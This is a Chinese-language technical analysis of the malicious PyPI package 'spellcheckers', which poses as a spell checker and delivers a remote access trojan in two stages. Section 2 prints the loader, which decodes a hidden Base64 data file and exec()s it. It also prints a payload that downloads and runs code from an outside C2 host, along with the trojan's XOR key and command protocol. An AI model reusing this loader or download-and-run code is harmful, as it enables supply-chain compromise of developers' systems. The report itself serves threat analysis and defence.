摘要

本報告針對近期一起涉及名為 spellcheckers 的惡意 Python 軟體套件的軟體供應鏈攻擊,提供詳細的技術分析。該套件透過 PyPI 儲存庫散播,偽裝成合法的拼字檢查工具,透過複雜的兩階段感染程序,部署了一個多層加密的遠端存取木馬 (Remote Access Trojan, RAT)。本分析著重於 Payload 執行、混淆技術、自訂加密協議,以及命令與控制 (C2) 通訊的整體架構。此案例突顯了套件儲存庫攻擊日益增加的複雜性,以及 Threat actor 所採用的進階規避技術,這些技術與其他當代多階段惡意軟體載入器有相似之處 [2] [3]。

PyPI 警訊!Payload 隱藏在 Data File 的手法解析:'spellcheckers' 避開靜態分析的黑魔法 | 資訊安全新聞

1. 攻擊途徑簡介

PyPI 等開源軟體儲存庫的激增,已為現代軟體供應鏈帶來了關鍵的漏洞。Threat actor 利用人們對這些生態系統的信任,發布模仿流行、合法函式庫的惡意套件,這種技術被稱為「 typosquatting 」(拼寫錯誤佔用)或「依賴混淆」。本報告分析的套件 spellcheckers ,與廣泛使用的 pyspellchecker 組件極為相似,在被偵測到之前已獲得超過 950 次下載 [1]。此惡意軟體的主要目的是建立一個持續性的後門進行遠端控制,最終目標是竊取敏感的用戶資訊。

此感染鏈的特點是採用了多階段 Payload 傳輸系統,旨在最大限度地提高隱蔽性並規避靜態分析 [1]。這種方法與其他進階惡意軟體活動中觀察到的戰術一致,這些活動利用複雜的載入器來傳送最終 Payload [2]。

2. 感染鏈技術細節拆解

本次攻擊在兩個不同的階段中展開,每個階段都採用了不同的混淆和執行技術。

2.1. 階段 1: 本地 Payload 執行與 C2 通訊

初始入侵始於已安裝套件的執行。核心惡意邏輯隱藏在套件的功能程式碼中,特別是在 spellcheckers/detect.py 裡,它呼叫了一個索引函數 [1]。

spellcheckers/index.py 中的 run_index 方法是第一階段的關鍵。它讀取一個名為 ma_IN.index 的檔案,該檔案包含一個 Base64 編碼的字串。這種將惡意程式碼隱藏在看似無害的資料檔案中的技術是一種常見的規避戰術 [1]。

負責解碼和執行第一階段 Payload 的 Python 程式碼如下:

  1. def run_index(self, dictfile):
  2. # Construct the path to the hidden index file
  3. self.index_file = os.path.join(self.path, dictfile.split(".")[0] + ".index")
  4. with open(self.index_file, "rt") as f:
  5. encoded_index = f.read()
  6. try:
  7. # Decode the Base64 content
  8. decoded_index = base64.b64decode(encoded_index).decode("utf-8")
  9. # Execute the decoded Python script
  10. exec(decoded_index)
  11. except Exception as e:
  12. # Exception suppression to avoid detection
  13. pass

被解碼的 Payload 是一個短腳本,設計用於與命令與控制 (C2) 伺服器通訊並下載第二階段 Payload。

  1. import requests
  2. import subprocess
  3. # Fetch the second-stage payload (a Base64-encoded script) from the C2 server
  4. log = requests.get("https://dothebest.store/allow/inform.php").text
  5. # Execute the downloaded script in a new, detached process
  6. subprocess.Popen(
  7. (["python", "-c", log] if sys.platform == "win32" else ["python3", "-c", log]),
  8. stdin=subprocess.DEVNULL, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
  9. close_fds=True, start_new_session=(sys.platform != "win32"),
  10. **({"creationflags": 0x208} if sys.platform == "win32" else {})
  11. )

此腳本使用 requests 函式庫從 C2 伺服器抓取下一階段,然後使用 subprocess.Popen 執行,確保惡意程序與父程序脫鉤執行,並抑制標準輸入/輸出 (I/O),這是隱蔽性和持續性工作的明確指標 [1]。

2.2. 階段 2: 自訂後門協議與 RAT 部署

第二階段是一個明顯更複雜的腳本,它作為核心的遠端存取木馬 (RAT) 運行,並實作了一個與 C2 伺服器之間的自訂通訊協議。此階段的特點是 雙層解密 和對網路流量使用 自訂加密 [1]。

2.2.1. 自訂加密與通訊協議

該惡意軟體對其 C2 通訊採用了 XOR 的自訂加密方案。主要的加密金鑰是一個 16 位元組的陣列: Key = bytearray([3, 6, 2, 1, 6, 0, 4, 7, 0, 1, 9, 6, 8, 1, 2, 5]) [1]。

xor_encrypt_decrypt 函數負責處理發送請求資料的加密:

  1. def xor_encrypt_decrypt(data: bytes, key: bytearray) -> bytes:
  2. result = bytearray()
  3. for i in range(len(data)):
  4. # XOR operation with key byte, cycling through the key
  5. result.append(data[i] ^ key[i % len(key)])
  6. return bytes(result)

MakeRequestPacket 函數建構 C2 請求。它包括一個 hardcoded 的客戶端 ID ( szCID = "FD429DEABE" ) 和為受害者機器生成的一個唯一物件 ID ( szObjectID )。Payload 資料,包括系統資訊 ( szPCode szComputerName ),會先被編碼為 UTF-16LE ,然後使用 16 位元組的 Key 進行 XOR 加密,最後再進行 Base64 編碼,然後才發送到 C2 伺服器 [1]。

2.2.2. 雙層解密與指令執行

來自 C2 伺服器 HTTP Response 會經過雙層解密程序。首先,對 Base64 編碼的 HTTP Response 進行解碼,然後使用相同的 16 位元組 Key 透過 xor_encrypt_decrypt 函數解密結果。

所得的內容 ( lpContent ) 結構包含一個 4 位元組的指令 ID ( nCMDID ) 和一個 4 位元組的資料長度 ( nDataLen ),接著是實際的指令資料 ( lpData )。這種結構化格式是為惡意軟體 C2 通訊設計的自訂網路協議的典型特徵。

第二層解密應用於指令資料本身:

  1. def encrypt_decrypt(data: bytes, key: int) -> bytes:
  2. result = bytearray()
  3. for byte in data:
  4. # Simple single-byte XOR with a hardcoded key (123)
  5. encrypted_byte = byte ^ key
  6. result.append(encrypted_byte)
  7. return bytes(result)
  8. # ... later in the main loop ...
  9. lpData = encrypt_decrypt(lpData, 123)

這個最終解密的資料隨後使用 exec() 函數作為 Python 程式碼執行,允許 Threat actor 遠端執行任意指令 [1]。使用多層加密和自訂協議是一種高效的 反分析 技術,因為它需要大量的精力來逆向工程通訊和 Payload 結構 [2]。

3. 比較分析與規避技術

spellcheckers 攻擊展現出多項複雜供應鏈惡意軟體的共同特徵,特別是它對多階段傳輸和進階規避的依賴 [3]。

3.1. 多階段架構

兩階段方法具有關鍵目的: 將初始感染途徑與最終 Decoupling Payload

階段 主要功能 規避技術 與其他載入器的比較
階段 1 初始執行、C2 連繫、階段 2 下載。 在資料檔案 ( ma_IN.index ) 中進行 Base64 編碼、抑制例外。 類似於抓取主要載入器的初始 Dropper [3]。
階段 2 RAT 部署、自訂 C2 通訊、指令執行。 雙層自訂 XOR 加密、結構化協議、脫鉤程序執行。 高度複雜,可與 HijackLoader 等進階載入器相比,該載入器使用多層解密和 shellcode 注入 [2]。

這種架構是為了應對現代資安工具。初始階段保持最小化並被大量混淆,以規避對套件本身的靜態分析。主要的惡意邏輯 (階段 2) 僅在執行時期下載,使自動化的沙箱環境難以捕獲完整的感染鏈 [3]。

3.2. 規避與反分析

該惡意軟體結合了數種技術來確保隱蔽性與持續性:

  1. 混淆: 對第一個 Payload 使用 Base64 編碼,以及對第二個 Payload 的 C2 流量使用自訂 XOR 加密是主要的混淆方法 [1]。
  2. 抑制例外: run_index 函數中的 try...except Exception as e: pass 程式區塊確保了如果解碼的 Payload 執行因任何原因失敗 (例如,在非標準分析環境中),程式會簡單地繼續執行而不會 crash 或記錄錯誤,從而避免偵測 [1]。
  3. 自訂協議: 結構化的 C2 通訊,包括 hardcoded 的客戶端 ID 和唯一的物件 ID,結合自訂加密,使得網路流量分析極具挑戰性。與標準協議不同,這種自訂格式需要特定的惡意軟體結構知識才能解讀資料串流。

4. 架構概述

惡意操作的整體流程可以視覺化為一個多階段程序,強調了初始 dropper 與最終 RAT/C2 handler 之間的分離關注點。

graph TD     A[Victim Installs
Malicious
PyPI Package] --> B(Stage 1:
Local Execution);     B --> C{Read
ma_IN.index};     C --> D(Base64 Decode);     D --> E(Execute
Initial Payload);     E --> F{HTTP GET
from C2 Server};     F --> G(Download
Stage 2 Payload);     G --> H(Execute
RAT Loader);     H --> I{Establish
C2 Communication};     I --> J(Send Encrypted
System Info);     J --> K{Receive
Encrypted Command};     K --> L(First Layer
Decryption);     L --> M(Second Layer
Decryption);     M --> N(Execute
Remote Command);     N --> I;

5. 結論

spellcheckers PyPI 套件代表了現代軟體供應鏈攻擊的一個複雜範例。透過利用多階段感染鏈、自訂雙層加密和強大的反分析技術,Threat actor 成功部署了一個持續性的遠端存取木馬。對 Python 程式碼的技術分析揭示了一個蓄意的策略,旨在規避靜態動態資安措施。此事件強調了加強資安措施的關鍵需求,包括執行時期分析和行為監控,以偵測和減輕那些依賴複雜混淆和多階段傳輸來危害開發環境和生產系統的威脅。